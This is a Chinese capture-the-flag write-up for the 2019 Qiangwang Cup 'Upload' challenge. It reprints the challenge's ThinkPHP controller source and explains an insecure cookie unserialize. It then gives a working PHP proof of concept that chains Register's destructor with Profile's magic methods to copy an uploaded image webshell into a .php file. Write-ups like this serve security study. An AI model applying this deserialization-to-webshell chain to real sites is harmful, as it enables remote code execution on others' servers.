[强网杯 2019]Upload

前言

又是一道反序列化的题目,而且也是thinkphp,一审起来才感觉到自己的代码审计能力就像屎一样,反序列化的链都找偏了。这个寒假不审个几万行代码我tm就去吃屎,草。

WP

进入环境看到那个favicon就想不会是thinkphp吧,扫了一下目录果然是thinkphp:

在这里插入图片描述
www.tar.gz可以下载到源代码,对controller审计一下。

<?php
namespace app\web\controller;
use think\Controller;

class Index extends Controller
{
    
    
    public $profile;
    public $profile_db;

    public function index()
    {
    
    
        if($this->login_check()){
    
    
            $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
            $this->redirect($curr_url,302);
            exit();
        }
        return $this->fetch("index");
    }

    public function home(){
    
    
        if(!$this->login_check()){
    
    
            $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
            $this->redirect($curr_url,302);
            exit();
        }

        if(!$this->check_upload_img()){
    
    
            $this->assign("username",$this->profile_db['username']);
            return $this->fetch("upload");
        }else{
    
    
            $this->assign("img",$this->profile_db['img']);
            $this->assign("username",$this->profile_db['username']);
            return $this->fetch("home");
        }
    }

    public function login_check(){
    
    
        $profile=cookie('user');
        if(!empty($profile)){
    
    
            $this->profile=unserialize(base64_decode($profile));
            $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
            if(array_diff($this->profile_db,$this->profile)==null){
    
    
                return 1;
            }else{
    
    
                return 0;
            }
        }
    }

    public function check_upload_img(){
    
    
        if(!empty($this->profile) && !empty($this->profile_db)){
    
    
            if(empty($this->profile_db['img'])){
    
    
                return 0;
            }else{
    
    
                return 1;
            }
        }
    }

    public function logout(){
    
    
        cookie("user",null);
        $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
        $this->redirect($curr_url,302);
        exit();
    }

    public function __get($name)
    {
    
    
        return "";
    }

}

<?php
namespace app\web\controller;
use think\Controller;

class Login extends Controller
{
    
    
    public $checker;

    public function __construct()
    {
    
    
        $this->checker=new Index();
    }

    public function login(){
    
    
        if($this->checker){
    
    
            if($this->checker->login_check()){
    
    
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
                $this->redirect($curr_url,302);
                exit();
            }
        }
        if(input("?post.email") && input("?post.password")){
    
    
            $email=input("post.email","","addslashes");
            $password=input("post.password","","addslashes");
            $user_info=db("user")->where("email",$email)->find();
            if($user_info) {
    
    
                if (md5($password) === $user_info['password']) {
    
    
                    $cookie_data=base64_encode(serialize($user_info));
                    cookie("user",$cookie_data,3600);
                    $this->success('Login successful!', url('../home'));
                } else {
    
    
                    $this->error('Login failed!', url('../index'));
                }
            }else{
    
    
                $this->error('email not registed!',url('../index'));
            }
        }else{
    
    
            $this->error('email or password is null!',url('../index'));
        }
    }


}
<?php
namespace app\web\controller;
use think\Controller;

class Register extends Controller
{
    
    
    public $checker;
    public $registed;

    public function __construct()
    {
    
    
        $this->checker=new Index();
    }

    public function register()
    {
    
    
        if ($this->checker) {
    
    
            if($this->checker->login_check()){
    
    
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
                $this->redirect($curr_url,302);
                exit();
            }
        }
        if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {
    
    
            $email = input("post.email", "", "addslashes");
            $password = input("post.password", "", "addslashes");
            $username = input("post.username", "", "addslashes");
            if($this->check_email($email)) {
    
    
                if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {
    
    
                    $user_info = ["email" => $email, "password" => md5($password), "username" => $username];
                    if (db("user")->insert($user_info)) {
    
    
                        $this->registed = 1;
                        $this->success('Registed successful!', url('../index'));
                    } else {
    
    
                        $this->error('Registed failed!', url('../index'));
                    }
                } else {
    
    
                    $this->error('Account already exists!', url('../index'));
                }
            }else{
    
    
                $this->error('Email illegal!', url('../index'));
            }
        } else {
    
    
            $this->error('Something empty!', url('../index'));
        }
    }

    public function check_email($email){
    
    
        $pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/";
        preg_match($pattern, $email, $matches);
        if(empty($matches)){
    
    
            return 0;
        }else{
    
    
            return 1;
        }
    }

    public function __destruct()
    {
    
    
        if(!$this->registed){
    
    
            $this->checker->index();
        }
    }


}
<?php
namespace app\web\controller;

use think\Controller;

class Profile extends Controller
{
    
    
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;

    public function __construct()
    {
    
    
        $this->checker=new Index();
        $this->upload_menu=md5($_SERVER['REMOTE_ADDR']);
        @chdir("../public/upload");
        if(!is_dir($this->upload_menu)){
    
    
            @mkdir($this->upload_menu);
        }
        @chdir($this->upload_menu);
    }

    public function upload_img(){
    
    
        if($this->checker){
    
    
            if(!$this->checker->login_check()){
    
    
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

        if(!empty($_FILES)){
    
    
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }
        if($this->ext) {
    
    
            if(getimagesize($this->filename_tmp)) {
    
    
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
    
    
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
    
    
            $this->error('Unknow file type!', url('../index'));
        }
    }

    public function update_img(){
    
    
        $user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();
        if(empty($user_info['img']) && $this->img){
    
    
            if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){
    
    
                $this->update_cookie();
                $this->success('Upload img successful!', url('../home'));
            }else{
    
    
                $this->error('Upload file failed!', url('../index'));
            }
        }
    }

    public function update_cookie(){
    
    
        $this->checker->profile['img']=$this->img;
        cookie("user",base64_encode(serialize($this->checker->profile)),3600);
    }

    public function ext_check(){
    
    
        $ext_arr=explode(".",$this->filename);
        $this->ext=end($ext_arr);
        if($this->ext=="png"){
    
    
            return 1;
        }else{
    
    
            return 0;
        }
    }

    public function __get($name)
    {
    
    
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
    
    
        if($this->{
    
    $name}){
    
    
            $this->{
    
    $this->{
    
    $name}}($arguments);
        }
    }

}

关键的就在profile.php:

    public function __get($name)
    {
    
    
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
    
    
        if($this->{
    
    $name}){
    
    
            $this->{
    
    $this->{
    
    $name}}($arguments);
        }
    }

还有register.php:


    public function __destruct()
    {
    
    
        if(!$this->registed){
    
    
            $this->checker->index();
        }
    }

关键的入口就在register.php的这个析构函数这里。Profile.php的__get是访问私有变量或者不存在的变量的时候调用,__call是访问不存在的方法的时候调用。
我一开始以为入口本身就在Profile.php里面,在里面找不存在的方法调用,发现没有。而register.php的析构函数这里我审计的时候逻辑理错了,于是就没注意,所以入口找不到,也就卡住了。

先放POC:

<?php
namespace app\web\controller;

class Profile
{
    
    
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;


    public function __get($name)
    {
    
    
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
    
    
        if($this->{
    
    $name}){
    
    
            $this->{
    
    $this->{
    
    $name}}($arguments);
        }
    }

}

class Register
{
    
    
    public $checker;
    public $registed;

    public function __destruct()
    {
    
    
        if(!$this->registed){
    
    
            $this->checker->index();
        }
    }

}

$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "../public/upload/852aff287f54bca0ed7757a702913e50/4563d2897675f5706a47618ff177157c.png";
$profile->filename = "../public/upload/852aff287f54bca0ed7757a702913e50/4563d2897675f5706a47618ff177157c.php";

$register = new Register();
$register->registed = false;
$register->checker = $profile;

echo urlencode(base64_encode(serialize($register)));

POC构造的关键点有2个,一个是命令空间:namespace app\web\controller;在反序列化的时候也要带上。另外一个就是目录的问题,你构造好之后改cookie然后刷新,这时候所在的目录和你构造的POC里面filename和filename_tmp的路径之间的关系要对应,不然会失败。

对照着POC来理一下攻击链。
入口点就是Register.php的析构函数。我们构造new Register(),它的registed是false才能利用$this->checker->index();。再让checker是new Profile(),因为它没有index方法,所以访问了不存在的方法,进入__call。
因为$this->index也是不存在的变量,因此还会进入__get,在get中我们让except['index']是img,然后img设置成upload_img,这样__call就变成了:

$this->{
    
    $this->{
    
    $name}}($arguments);

upload_img();

调用了文件上传的函数。然后跟进函数。
首先if($this->checker){ 无法进入。
而且if(!empty($_FILES)){ 也无法进入,因为我们并没有真正上传文件。
然后就是:

if($this->ext) {
    
    
            if(getimagesize($this->filename_tmp)) {
    
    
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
    
    
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
    
    
            $this->error('Unknow file type!', url('../index'));
        }

为了可以进入if($this->ext),我们还要给ext设置值。filename_tmp设置成我们之前上传的图片,它的位置已知,使得getimagesize可以成功。然后就是关键:

@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);

把图片里的东西复制到filename里面,然后删掉filename_tmp。因为filename可以任意构造,而且不存在后缀的限制,所以改成.php文件就可以了,然后上传图片马,这样把图片马里面的一句话木马写道我们控制的filename里面就OK了。至于后面的东西就不重要了。至此反序列化链攻击完成。

利用的时候在对应的地方改cookie,然后刷新,php文件就生成了,之后就不用说了。

反思

没注意到Register.php的析构函数,在反序列化的题目里把这么重要的东西给遗忘了实属不应该,还是代码审计的能力太菜了。

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/113126000